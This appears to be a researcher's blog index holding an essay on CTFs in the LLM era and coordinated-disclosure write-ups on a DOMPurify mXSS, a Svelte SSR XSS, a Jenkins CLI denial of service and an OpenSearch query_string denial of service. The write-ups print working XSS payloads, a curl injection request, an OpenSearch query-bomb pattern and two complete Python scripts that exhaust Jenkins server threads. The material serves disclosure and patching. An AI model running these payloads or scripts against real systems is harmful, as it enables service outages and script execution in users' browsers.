caverav

CTFs Are Not Dead, They’re Just Growing Up

Sat, 11 Apr 2026 00:00:00 GMT

TL;DR

There’s a growing narrative floating around that Capture The Flag (CTF) competitions are “dead” because of modern LLMs. The argument is simple: if a model can solve challenges faster than humans, what’s the point?

I think that’s the wrong conclusion.

What’s actually happening is something more interesting. CTFs are splitting into two very different worlds, and both still matter.

The “LLM killed CTFs” take

The concern is not baseless.

Recent work has shown that LLMs can already solve a non-trivial portion of CTF-style problems. For example, LLMs have demonstrated the ability to solve binary exploitation and web challenges with tool augmentation, especially when prompts include structured hints or intermediate feedback (Fang et al., 2024). Similarly, AutoCTF-style agents can autonomously chain reasoning and tools to solve tasks end-to-end (Zhang et al., 2024).

Even OpenAI and Anthropic have shown that models can perform multi-step reasoning and tool use in security-relevant contexts, including reverse engineering and vulnerability discovery (OpenAI, 2024), (Anthropic, 2024).

So yes, if your challenge is:

a known vuln pattern
a standard crypto primitive misuse
or a simple reversing puzzle

then a strong model plus a bit of scaffolding can absolutely solve it.

But that says more about the challenge than about the death of CTFs.

Low-level CTFs were never about the leaderboard

Let’s be honest for a second.

Beginner and intermediate CTFs were never about “who is the smartest hacker alive”. They were about learning.

If someone uses an LLM to solve a basic buffer overflow challenge and gets first place, that’s fine. They learned nothing.

Meanwhile, someone else who:

steps through the binary in GDB
understands stack layout
writes the exploit manually

is actually building skill.

This aligns with long-standing educational research: active problem-solving leads to deeper understanding than passive solution consumption (Chi et al., 1989).

So nothing is lost here.

And honestly, if your goal is just to win a leaderboard in a non top-tier CTF by throwing LLM prompts at it, it’s worth asking what that even means. If the competition itself does not meaningfully validate skill because it can be mostly automated, then winning it does not really say much. The leaderboard only has value when the underlying challenges demand real expertise.

If your goal is to learn, CTFs still work exactly the same. The leaderboard has always been a bad proxy for understanding anyway.

The real shift: high-end CTFs are becoming research problems

This is where things get interesting.

Top-tier CTFs like DEF CON Finals, PlaidCTF, or Google CTF have already been moving in this direction for years. Now LLMs are accelerating that trend.

Modern high-end challenges increasingly require:

novel exploitation techniques
deep understanding of mitigations
chaining multiple domains (crypto + reversing + systems)
or even discovering unintended behaviors

These are not easily solvable by current LLMs alone.

Why?

Because LLMs are still heavily bounded by training data and pattern generalization (Bubeck et al., 2023). When a challenge requires:

reasoning about something new
exploring an unknown attack surface
or forming hypotheses and testing them iteratively

the human is still in the loop.

Even in autonomous agent research, models struggle with long-horizon planning and exploration in unfamiliar domains (Xi et al., 2023).

And that’s exactly what high-end CTFs are becoming: mini research problems.

LLMs as tools, not replacements

What’s actually emerging is a new workflow.

Instead of replacing participants, LLMs are becoming:

fast documentation readers
boilerplate generators
idea expanders
sanity checkers

This is similar to how compilers or debuggers changed programming. They didn’t eliminate programmers, they raised the floor.

There’s already evidence that human + AI collaboration outperforms either alone in complex tasks (Khan et al., 2024).

So in a CTF context:

The LLM helps you move faster
But you still need to know what you’re doing

Otherwise you just prompt blindly and hope.

This might actually be good for security research

Here’s the part I find most exciting.

If low-tier challenges become trivial for AI, and mid-tier ones become semi-automatable, then:

The only way to keep CTFs interesting is to push them toward novel techniques.

That means:

more original vulnerabilities
more creative primitives
more cross-domain challenges
more “this shouldn’t work but it does” situations

In other words, closer to real-world security research.

And that has a side effect:

It incentivizes participants to become actual researchers.

This aligns with how fields evolve under tooling pressure. For example, automation in software engineering shifted focus toward higher-level design and architecture problems (Brooks, 1987).

CTFs may follow the same path.

The skill gap will widen

One thing that will happen is divergence.

There will be:

People who rely heavily on LLMs and plateau early
People who use LLMs as leverage and go deeper

This is consistent with studies showing that tools amplify existing skill differences rather than equalize them (Brynjolfsson & McAfee, 2014).

So instead of “AI democratizing CTFs”, we might actually see:

faster beginners
but much stronger experts

So… are CTFs dead?

No.

They’re just changing shape.

Beginner CTFs: still great for learning, leaderboard matters less than ever
Mid-tier CTFs: partially automatable, good for practicing workflows
Top-tier CTFs: increasingly research-driven, still human-dominated

And if anything, the high end is becoming more interesting, not less.

Final thoughts

If your goal is to win a leaderboard by throwing prompts at an LLM, especially in a CTF that is not top-tier, then you might be optimizing for something that has very little real value.

But if your goal is to:

understand systems
break assumptions
discover new techniques

then nothing has changed.

You’ll still need to think.

And at the top level, you’ll need to think harder than ever.

References

Fang et al., LLMs for Autonomous CTF Solving, 2024
Zhang et al., AutoCTF Agents, 2024
OpenAI, GPT-4 Technical Report, 2024
Anthropic, Claude Research, 2024
Chi et al., Self-explanations improve understanding, 1989
Bubeck et al., Sparks of AGI, 2023
Xi et al., Limitations of LLM Planning, 2023
Khan et al., Human-AI Collaboration, 2024
Brooks, No Silver Bullet, 1987
Brynjolfsson & McAfee, The Second Machine Age, 2014

CVE-2026-0540: How a CTF Detour Led Us to a DOMPurify mXSS - Daft

Sun, 29 Mar 2026 00:00:00 GMT

TL;DR

DOMPurify 3.1.3 through 3.3.1 contained an mXSS edge case that became exploitable when sanitized output was reparsed inside special wrappers such as xmp, iframe, noembed, noframes, noscript, and script. The bug received CVE-2026-0540, was publicly disclosed by Fluid Attacks as advisory daft, and was fixed in 3.3.2 with a small patch series rather than a single one-line change.

What made this one fun is how we found it. Cristian Vargas and I were playing a CTF and, almost by accident, tried an XSS route against a sink that looked correctly sanitized. Both of us managed to pop it anyway. At that point we stopped thinking about the challenge and started asking the more interesting question: was this actually a DOMPurify edge case? It turned out the answer was yes, and it was not part of the challenge after all.

How We Found It

This bug did not start with a source audit. It started with a mistake.

Cristian and I were solving a CTF challenge and went after an XSS sink that was already going through DOMPurify. The sink should have been boring. Instead, we both managed to bypass it.

That was the moment the challenge stopped mattering.

The payload was surviving sanitization as inert-looking attribute data, but after the application wrapped the sanitized result and reparsed it with innerHTML, the browser produced a different DOM tree. That is the classic shape of mutation XSS: the dangerous behavior does not exist in the first parse, it appears in the second one.

Once we realized that, we built a minimal reproducer outside the challenge and confirmed the behavior consistently enough to turn it into a proper report.

Why This Happened In DOMPurify

The interesting part was not the innerHTML sink by itself. DOMPurify's own docs already warn that sanitizing once and then changing context afterwards can void the effects of sanitization. The more specific issue was that the library's SAFE_FOR_XML handling was already trying to defend against dangerous sequences in attribute values, but its regex did not cover all the wrappers that mattered here.

Before the fix, the relevant check in src/purify.ts looked like this:

/((--!?|])>)|<\/(style|title|textarea)/i

That meant DOMPurify knew certain closing sequences inside attributes were too risky to keep when SAFE_FOR_XML was on, but it was only accounting for style, title, and textarea.

The missing cases were the raw-text or raw-text-like wrappers that made our PoC work:

xmp
iframe
noembed
noframes
noscript

And, in a follow-up patch commit, script was added as well.

Since SAFE_FOR_XML is enabled by default, this was not an obscure opt-in corner case. It was a default-on safeguard that simply did not model the full set of wrappers it needed to care about.

Reproducing The Behavior

Our PoC used a server-side DOMPurify instance backed by jsdom, returned the sanitized string to the browser, and then deliberately reparsed it inside special wrappers.

The minimal server-side path was:

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.post('/sanitize', (req, res) => {
  const sanitized = DOMPurify.sanitize(req.body.input);
  res.json({ sanitized });
});

The client-side sink was:

const sanitized = data.sanitized || '';
sink.innerHTML = '<' + wrapper + '>' + sanitized + '</' + wrapper + '>';

With wrapper = "xmp" and this payload:

<img src=x alt="</xmp><img src=x onerror=alert(1)>">

the second parse produced a live onerror handler.

Fuzzing The Wrappers

Once we had a working xmp case, the next question was obvious: how many other wrappers behave the same way?

We fuzzed the wrappers listed in DOMPurify's special-content handling and then broadened that into a larger tag sweep. The interesting set in the vulnerable flow ended up being:

xmp
iframe
noembed
noframes
noscript
script

That final script case matters because it was not part of the first rawtext-regex expansion. It appeared in the follow-up patch, which is one reason the remediation story here is more accurately described as a patch series than a single fix.

One nuance is important: this is not the same thing as saying "browser-only DOMPurify is trivially bypassed everywhere." In my testing, a browser-only PoC using DOMPurify directly in the page escaped the closing sequences and did not reproduce. The exploitable condition showed up in the end-to-end flow where sanitized output was produced and later reparsed into a different context.

That distinction is also why this bug sat in an awkward but interesting place between a library issue and an integration misuse pattern.

Advisory Evidence

PoC Video

XSS Triggered

What DOMPurify's Docs And Threat Model Say

DOMPurify's documentation already contains two warnings that matter here.

First, the README explicitly says that if you sanitize HTML and then modify it afterwards, you can void the effects of sanitization. That maps directly to a flow that sanitizes once and later reparses the result inside a new wrapper.

Second, the threat model says DOMPurify does not protect against "faulty use or flipping of markup context." Their example is sanitizing HTML and then throwing it into SVG or another XML-based context. The underlying principle is the same: if you change parsing context after sanitization, you can create a bypass.

So the honest framing is not "DOMPurify promised to solve every context switch and completely failed." The honest framing is narrower and more useful:

DOMPurify documents that context flipping is dangerous and partly out of scope.
At the same time, SAFE_FOR_XML is a default-on defense specifically meant to neutralize risky structural sequences in attributes.
That defense missed several wrappers, and upstream patched the gap.

In other words, even if the issue lives near the edge of the stated threat model, the project still chose to harden the sanitizer and ship a fix. That is the right outcome, and it is one reason I think this advisory is worth studying.

The Patch Was Not One Commit

If you only look at the release page, it is easy to treat 3.3.2 as a single black-box fix. That misses what actually happened.

The remediation on the 3.x line landed as a short sequence:

Commit 729097f expanded the SAFE_FOR_XML regex to include xmp, noscript, iframe, noembed, and noframes.
Commit 302b51d extended that regex again to also cover script.
Release commit 5e56114 bundled the final 3.3.2 release.

The core source-level change ended up like this:

/((--!?|])>)|<\/(style|script|title|xmp|textarea|noscript|iframe|noembed|noframes)/i

There was also a backport on the legacy 2.x branch. Commit d59bfe7 carried the same idea into 2.5.9, which matters for deployments still pinned to the MSIE-compatible line.

So if you are documenting this issue, the accurate story is:

one advisory
one public fixed version on 3.x
multiple security-relevant commits
one legacy-branch backport

References

CVE-2025-15265: Svelte Hydratable Key SSR XSS - Lydian

Tue, 17 Mar 2026 00:00:00 GMT

TL;DR

Svelte 5.46.0 through 5.46.3 shipped an SSR XSS in the async hydration pipeline. If an application enabled experimental.async: true and passed attacker-controlled input as the first argument to hydratable(key, fn), Svelte serialized that key into a server-rendered <script> block with JSON.stringify(k). Because that output was not HTML-safe for a <script> context, an attacker could inject </script><script>... and execute arbitrary JavaScript in the victim's browser.

The issue was assigned CVE-2025-15265, publicly disclosed on January 15, 2026, and fixed in svelte@5.46.4.

Why This Matters

The bug is subtle because the data is encoded as a JavaScript string, which looks safe at first glance. The problem is that HTML parsing rules win before JavaScript string parsing does. Inside a <script> tag, a literal </script> closes the tag even if it appears inside quotes.

That means this:

JSON.stringify("</script><script>alert(1)</script>")

is valid JavaScript string data, but it is still unsafe to embed directly into HTML script content.

The Vulnerable Code Path

The affected sink lived in Svelte's server renderer:

// packages/svelte/src/internal/server/renderer.js
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);

That value was later embedded into an inline <script> block in the SSR response to populate window.__svelte.h.

If k contained attacker-controlled input like </script><script>globalThis.__xss = true</script>, the browser treated it as a real closing tag and executed the injected script.

Reproducing The Bug

I built a minimal SvelteKit application with async SSR enabled and a route that forwards a query parameter into hydratable.

// src/routes/+page.server.js
export function load({ url }) {
  return {
    key: url.searchParams.get('k') ?? 'safe-key'
  };
}

<!-- src/routes/+page.svelte -->
<script>
  import { hydratable } from 'svelte';

  const { data } = $props();
  const value = await hydratable(data.key, () => Promise.resolve('ok'));
</script>

<div>{value}</div>

With svelte@5.46.0, the following request reproduces the issue:

curl --globoff \
  'http://127.0.0.1:4173/?k=%3C/script%3E%3Cscript%3EglobalThis.__xss%20%3D%20true%3C/script%3E'

The server responds with HTML containing this inline head script:

<script>
  {
    const r = (v) => Promise.resolve(v);
    const h = (window.__svelte ??= {}).h ??= new Map();

    for (const [k, v] of [
      ["</script><script>globalThis.__xss = true</script>",r("ok")]
    ]) {
      h.set(k, v);
    }
  }
</script>

At that point the browser sees a closing </script> tag, exits the original block, and runs the injected payload.

Conditions Required For Exploitation

Not every Svelte application was affected. The vulnerable path required all of the following:

The app used Svelte >=5.46.0 and <=5.46.3.
Async SSR was enabled with experimental.async: true.
The app used hydratable(key, fn).
The key could be influenced by untrusted input.

In practice, this is realistic in apps that derive hydration keys from route params, query params, tenant identifiers, or helper functions that wrap hydratable without validating the key.

Root Cause

This was a context mismatch bug.

JSON.stringify is fine for building JavaScript string literals.
It is not enough when the serialized value is injected into raw HTML inside a <script> element.
The HTML parser does not care that </script> appears inside a quoted JavaScript string.

Svelte already handled hydratable values safely, but the key path used a weaker serializer than the value path.

The Fix In 5.46.4

The 5.46.4 patch is small, but it is very deliberate. Upstream changed the serializer used for hydratable keys:

import * as devalue from 'devalue';

// before
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);

// after
entries.push(`[${devalue.uneval(k)},${v.serialized}]`);

That change matters because devalue.uneval does more than stringify data. It emits a JavaScript expression that is safe to embed inside inline script content, escaping characters that are dangerous in that context, especially <.

For the malicious payload:

const payload = "</script><script>globalThis.__xss = true</script>";

the vulnerable serializer produced:

JSON.stringify(payload)
// => "</script><script>globalThis.__xss = true</script>"

while the patched serializer produces:

devalue.uneval(payload)
// => "\u003C/script>\u003Cscript>globalThis.__xss = true\u003C/script>"

This is the key detail. The browser's HTML parser only breaks out of a <script> element when it sees a literal < starting </script>. After the patch, there is no literal < in the serialized key anymore, only \u003C, so the parser never terminates the surrounding script block early.

Once the script executes, JavaScript interprets \u003C as <, so the application still gets the original string value as the map key. In other words, the patch preserves behavior while removing the HTML parsing hazard.

This also explains why the fix is better than a narrow one-off replacement. Instead of escaping only one payload pattern, Svelte switched to a serializer designed for JavaScript source generation in inline scripts. That aligns the key path with the safer serialization approach already used elsewhere in the hydration pipeline.

The release also added a regression test under packages/svelte/tests/runtime-runes/samples/hydratable-script-escape/. The test uses a payload containing:

'</script><script>throw new Error("pwned")</script>'

If the old behavior were still present, the injected script would execute during hydration and the test would fail immediately. After the patch, the payload remains inert data inside the generated script, so hydration completes normally.

Impact

This is an SSR XSS, so exploitation happens in the browser of whoever loads the vulnerable page. A successful payload can lead to:

session theft
DOM tampering
authenticated actions through injected JavaScript
account compromise, depending on the application's session model

The public advisory rates the issue 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N).

Timeline

December 27, 2025: Vulnerability discovered
December 29, 2025: Vendor contacted
January 5, 2026: Vendor replied and confirmed the issue
January 15, 2026: Fix released in svelte@5.46.4
January 15, 2026: Public disclosure and CVE-2025-15265

References

CVE-2025-67635: Unauthenticated DoS in the Jenkins CLI full-duplex endpoint

Fri, 12 Dec 2025 00:00:00 GMT

TL;DR

Jenkins’ plain CLI endpoint (/cli?remoting=false) pairs two POST requests (download/upload) via a shared Session UUID and is reachable without Overall/Read.
Two bugs stack: an unsynchronized HashMap in CLIAction drops one half of the session (race condition), and the CLI protocol wait loops (ServerSideImpl.run, FullDuplexHttpService.upload) have no timeout.
Attackers can finish their HTTP calls in milliseconds yet strand Jetty threads for 15s (race window) or indefinitely (abandoned protocol), causing controller-wide asymmetric DoS.
Affects core ≤ 2.540 and LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS 7.5). Fixed in 2.541 / 2.528.3 by using ConcurrentHashMap, adding handshake timeouts, and closing streams on error.
Mitigate now: upgrade, or block the plain CLI endpoint from untrusted networks, capture thread dumps to confirm no threads sit in CLIAction$ServerSideImpl.run or FullDuplexHttpService.upload/download.

What the endpoint does

The non-Remoting CLI builds a full-duplex channel from two HTTP POSTs:

Download side: Side: download, opens cli?remoting=false, server writes a byte and waits for the upload half.
Upload side: Side: upload, same Session UUID, provides the input stream.

hudson.cli.CLIAction wires this to jenkins.util.FullDuplexHttpService, storing active sessions in a cross-request registry.

Root cause #1 - unsynchronized session registry (race condition)

CLIAction keeps the session map in a plain HashMap shared by all request threads:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse does services.put(uuid, service) for the download side, and services.get(uuid) for the upload side. Because HashMap is not thread-safe, concurrent puts/gets under load can:

Return null for a valid download side
Drop entries during a resize
Leave download threads inside FullDuplexHttpService.download waiting up to 15 s for an upload that already arrived

Result: every racy pair ties up a servlet thread for the full timeout while the attacker’s sockets close immediately, causing an asymmetric DoS and violating REQ-337 (“Make critical logic flows thread safe”).

Root cause #2 - missing protocol timeouts (deterministic hang)

Even when the two halves pair correctly, the protocol handshake can deadlock because neither side times out:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

If the client drops the connection before sending CLI frames, the download thread blocks in ServerSideImpl.run() and the upload thread blocks in upload() with no timeout, consuming two Jetty threads per attempt until the controller is exhausted.

Exploitation notes

Both vectors require only network reachability to /cli:

Scenario A (race condition): fire overlapping download/upload pairs with slight jitter so the upload half occasionally sees null. Threads pile up in FullDuplexHttpService.download for ~15 s each.
Scenario B (abandonment): open both halves, let them pair, then close without sending CLI frames. Threads stay in CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload indefinitely, no timing window needed.

Below are the exact PoCs shared with the Jenkins security team:

PoC: racecond_a.py (HashMap race, two downloads per UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (protocol abandonment, deterministic hang)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

Evidence

Thread dump (Scenario B, Jenkins 2.516.2 test controller) – stuck in the exact call sites with no timeout:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)

Video evidence: end-to-end crash reproduction against a fresh controller: <iframe src="https://www.youtube.com/embed/zl7bp5FN5Bk" title="Jenkins CLI DoS (SECURITY-3630) crash capture" width="100%" height="360" allowfullscreen loading="lazy"></iframe>
On a vulnerable build you will see dozens of request threads waiting in those call sites, and regular CLI calls start timing out.

Impact

Unauthenticated DoS: no Overall/Read required to hit /cli?remoting=false.
Low attacker cost: sockets close immediately, the server holds the work (15 s per race attempt, infinite for abandonment).
Controller-wide degradation: servlet threads and I/O streams back up, other endpoints time out.

Patch details (core commit efa1816)

CLIAction now stores sessions in a ConcurrentHashMap, removing the racy HashMap drops that powered the asymmetric DoS.
ServerSideImpl.run and FullDuplexHttpService.upload adopted CONNECTION_TIMEOUT-bounded waits with 1s wake-ups and DEBUG logs, so abandoned handshakes unwind instead of parking threads.
PlainCLIProtocol always calls side.handleClose() in a finally block, ensuring both halves tear down even on read errors or runtime exceptions.
Regression coverage landed in Security3630Test (JUnit 5): it shrinks the CLI timeout for tests, exercises the previous race with concurrent CLI invocations, and asserts threads are released after truncated streams.
Net effect: the CLI download/upload pairing now fails fast and frees Jetty threads instead of blocking indefinitely on missing counterparts.
The changes bring the full-duplex CLI path back into compliance with REQ-337: “Make critical logic flows thread safe.”

CVE and advisory references

SECURITY-3630 is assigned CVE-2025-67635 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). See the CNA record on cve.org and the NIST entry on NVD for canonical metadata.
Jenkins’ official write-up: Jenkins Security Advisory 2025-12-10: SECURITY-3630.

Fix and hardening

If you cannot upgrade immediately:

Disable or firewall the plain CLI endpoint, prefer the WebSocket CLI with proper auth.
Lower Jetty thread caps only as a last resort (does not remove the bug).
Monitor thread dumps for CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload/download wait states.

Indicators of compromise

Repeated IOException: No download side found for <uuid> in logs.
Thread dumps showing many TIMED_WAITING at FullDuplexHttpService.download or WAITING at CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.
Spikes in /cli?remoting=false requests lacking authentication headers.

Patch promptly, this is a cheap, network-reachable DoS path in default Jenkins deployments.

CVE-2025-9624: Nested Boolean/Disjunction Asymmetric DoS in Amazon's OpenSearch query_string - Chick

Tue, 25 Nov 2025 00:00:00 GMT

TL;DR

While testing OpenSearch 3.2.0, I found an asymmetric Denial of Service (DoS) condition in how the engine handles query_string queries.

By crafting Lucene-style inputs that nest boolean operators and disjunctions, it's possible to build huge query trees that stay under OpenSearch's per-node clause limits but explode the overall number of nodes. The result is excessive CPU usage and heap pressure during query parsing, rewriting, and scoring, eventually leading to a process being killed by the OS or container orchestrator (e.g., exit code 137).

This issue was assigned CVE-2025-9624 and classified under CWE-674: Uncontrolled Recursion. It affects OpenSearch where query_string inputs from potentially untrusted sources can reach the cluster without an upper bound on complexity. After discussing with the Amazon's OpenSearch team, the problem was fixed by introducing a new cluster-wide setting:

search.query.max_query_string_length

which rejects overly long query strings early in the parsing stage.

If you expose query_string to untrusted or semi-trusted clients, you should:

Upgrade to OpenSearch 3.3.0 or later.
Configure a reasonable search.query.max_query_string_length value for your environment.
Avoid letting arbitrary users send raw Lucene-style query_string input when a safer DSL or templated queries would do.

Background: OpenSearch, query_string and Clause Limits

OpenSearch is built on top of Apache Lucene and exposes multiple ways to express queries:

Structured JSON DSL (e.g., bool, term, range).
Higher-level helpers like multi_match.
The query_string query, which lets users write Lucene-style strings such as:

(title:security OR description:"denial of service") AND product:opensearch

The query_string query is convenient, but it's also dangerous when users can control it. It has to:

Parse the string into a query tree.
Expand field lists (multi-field queries).
Build Lucene queries like BooleanQuery, DisjunctionMaxQuery, PhraseQuery, and others.

To prevent runaway queries, OpenSearch already had clause limits:

indices.query.bool.max_clause_count caps the number of clauses per BooleanQuery node.
Internally, IndexSearcher.setMaxClauseCount(...) enforces a limit to avoid pathological boolean expressions.

However, this limit is local to each boolean node. It does NOT cap:

The total number of nodes in the query tree.
The fan-out of non-boolean containers, such as DisjunctionMaxQuery, which are commonly used to aggregate multi-field expansions.

That gap is what made CVE-2025-9624 possible.

The Vulnerable Design

Per-node limits, global problem

At a high level, the vulnerable behavior can be summarized as:

OpenSearch enforces indices.query.bool.max_clause_count per BooleanQuery.
The query_string parser and related builders can create deep trees of booleans and disjunctions.
Other containers, like DisjunctionMaxQuery, are not bounded by the boolean clause limit.
There is no global cap on overall query size or node count.

This means an attacker can construct queries where:

No single boolean node violates max_clause_count.
But the entire tree still becomes enormous, consuming CPU and heap during:
- Parsing
- Rewrite phases
- Scoring and relevance calculation

Asymmetric DoS in practice

This is an asymmetric DoS because:

The attacker's cost is tiny: a single crafted _search request with a "large" query_string value with nested boolean/disjunction operations.
The defender's cost is huge: OpenSearch spends significant CPU and memory processing that query before failing.

Building the Query Bomb

The key observation was that I could grow the query tree combinatorially while keeping each boolean node "small".

A simplified example of the pattern looks like:

GET _search
{
  "query": {
    "query_string": {
      "query": "winAd AND (rises OR rising) winAd AND (rises OR rising) winAd AND (rises OR rising) ..."
    }
  }
}

By repeating and nesting groups, using multi-field expansions, and keeping the boolean limits intact, the resulting Lucene structure becomes massive.

Reproducing the Issue

Effects observed:

CPU spikes
Heavy GC pressure
Sometimes termination (137/OOMKilled)

Demo (video)

Impact Assessment

CVSS v4.0 score: 8.3 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Root Cause

The issue stems from local limits without global bounds. Boolean node limits do not restrict the total query tree size. Multi-field expansions and disjunctions multiply complexity until the engine collapses under CPU/memory pressure.

This matches CWE-674: Uncontrolled Recursion.

The Fix: `search.query.max_query_string_length`

OpenSearch PR #19491 added:

search.query.max_query_string_length

Default: 32,000
Enforced early in QueryStringQueryParser.parse(...)
Rejects overly long query_string values before parsing and expansion

Included starting in OpenSearch 3.3.

I want to publicly thanks the Amazon's OpenSearch team for such a professional triaging and transparency for this vulnerability report.

Defensive Recommendations

Upgrade to 3.3.0+
Set a stricter search.query.max_query_string_length
Avoid exposing raw query_string to untrusted clients
Apply rate limiting and monitor heavy queries

Disclosure Timeline

2025-09-04 -- Issue reported
2025-09-17 -- Confirmed by OpenSearch team
2025-10-01 -- Fix merged
2025-10-14 -- OpenSearch 3.3 released
2025-11-25 -- Public disclosure (Fluid Attacks + CVE publication)

References

https://fluidattacks.com/advisories/chick
https://www.cve.org/CVERecord?id=CVE-2025-9624
https://nvd.nist.gov/vuln/detail/CVE-2025-9624
https://github.com/opensearch-project/OpenSearch/pull/19491
https://opensearch.org/blog/explore-opensearch-3-3/

The Obsolescence of SSL Pinning in Mobile App Security

Mon, 01 Sep 2025 00:00:00 GMT

TL;DR

This blog post is dense and time-consuming to read in full.
If you just need the essentials:

SSL Pinning is obsolete : Google, Apple, OWASP, and Cloudflare all discourage its use except in rare cases.
Why? It's fragile (breaks when certificates rotate), high-maintenance, gives a false sense of security (easily bypassed with tools like Frida), and can cause outages or compatibility failures (especially in enterprise networks).
Better alternatives in 2025: rely on the default PKI trust stores, enable Certificate Transparency, enforce HSTS, use strong TLS configs, leverage DNS CAA, and monitor your certificates.
Bottom line: Don't pin unless you have a niche regulatory or extreme threat model that requires it, and if you do, plan very carefully for rotation.

Introduction

SSL pinning (also known as certificate pinning) is a technique that gained popularity in mobile app security as a way to harden HTTPS connections against man-in-the-middle (MITM) attacks. The basic idea is simple: instead of trusting all certificate authorities (CAs) in the device's trust store, the app only trusts a specific certificate or public key that it "pins" as valid. In theory, this ensures the app connects only to a server presenting the expected certificate, even if a rogue or compromised CA were to issue a fraudulent certificate for the server's domain. For years, Android and iOS developers implemented SSL pinning in banking, finance, and other security-sensitive apps to guarantee they were talking to the genuine backend server and not an impostor.

However, the mobile security landscape has evolved. Major platform maintainers and industry experts now discourage the use of SSL pinning except in very special cases. What was once considered a best practice is increasingly seen as an outdated mechanism that can create more problems than it solves. In this post, we'll explore what SSL pinning is, why it was historically used, and the technical reasons it's now viewed as obsolete. We'll also cite official guidance from Google and Apple advising against pinning, discuss real-world issues pinning causes for developers and testers, and outline modern best practices to secure HTTPS in mobile apps today (from certificate transparency to HSTS and beyond).

What Is SSL Pinning in Mobile Apps?

